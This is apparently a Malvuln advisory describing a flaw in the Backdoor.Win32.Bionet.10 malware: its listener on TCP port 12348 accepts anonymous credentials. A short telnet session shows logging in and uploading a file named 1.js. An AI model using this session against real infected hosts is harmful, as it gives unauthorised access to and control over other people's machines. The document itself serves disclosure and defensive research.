Discovery / credits: Malvuln - (c) 2021  
Original source:  
Threat: Backdoor.Win32.Bionet.10  
Vulnerability: Anonymous Logon  
Description: The backdoor listens on TCP port 12348 and allows anonymous logon credentials to be used to access an infected host.  
Type: PE32  
MD5: be559307f5cd055f123a637b1135c8d3  
Vuln ID: MVID-2021-0099  
Dropped files:   
Disclosure: 02/18/2021  
TELNET x.x.x.x 12348  
220 BNFTP Server ready.   
USER anonymous   
331 Password required for anonymous.   
PASS anonymous   
230 User anonymous logged in.   
227 Entering Passive Mode (192,168,1,10,194,160).   
STOR 1.js   
150 Opening data connection for 1.js.   
226 File received ok   
227 Entering Passive Mode (192,168,1,10,194,162).   
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